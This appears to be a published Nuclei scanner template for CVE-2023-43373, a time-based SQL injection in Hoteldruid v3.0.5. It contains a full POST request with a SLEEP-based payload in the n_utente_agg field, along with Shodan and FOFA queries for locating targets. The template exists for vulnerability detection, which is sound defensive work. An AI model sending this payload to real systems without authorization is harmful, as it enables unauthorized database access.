Hoteldruid v3.0.5 - SQL Injection

ID: CVE-2023-43373

Severity: critical

Author: ritikchaddha

Tags: cve,cve2023,hoteldruid,sqli

Description

Hoteldruid v3.0.5 was discovered to contain a SQL injection vulnerability via the n_utente_agg parameter at /hoteldruid/interconnessioni.php.

YAML Source

id: CVE-2023-43373

info:
  name: Hoteldruid v3.0.5 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Hoteldruid v3.0.5 was discovered to contain a SQL injection vulnerability via the n_utente_agg parameter at /hoteldruid/interconnessioni.php.
  impact: |
    Allows attackers to execute arbitrary SQL queries and potentially gain unauthorized access to the database.
  remediation: |
    Update Hoteldruid to a patched version or apply vendor-supplied fixes to mitigate the SQL Injection vulnerability.
  reference:
    - https://flashy-lemonade-192.notion.site/SQL-injection-in-hoteldruid-version-3-0-5-via-n_utente_agg-parameter-948a6d724b5348f3867ee6d780f98f1a
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43373
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-43373
    cwe-id: CWE-89
    epss-score: 0.00076
    epss-percentile: 0.31944
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: digitaldruid
    product: hoteldruid
    fofa-query: title="hoteldruid"
    shodan-query: title:"hoteldruid"
  tags: cve,cve2023,hoteldruid,sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "hoteldruid")'
        internal: true

  - raw:
      - |
        POST /interconnessioni.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw

        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="anno"

        2023
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="id_sessione"


        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="modifica_interconnessione"

        SI
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="modifica_utente_agg"

        SI
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="n_utente_agg"

        1' AND (SELECT 3869 FROM (SELECT(SLEEP(7)))qSXB)-- QMbZ
        ------------YWJkMTQzNDcw--

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022040e6562db10a4e02e7b16cf407cc6c596fb821aadf114277da305ae9c894654402201b4243ddd6fa6e3876cae1683989deb9facb5a08191958d6ff593750c13fb38d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-43373.yaml"

View on Github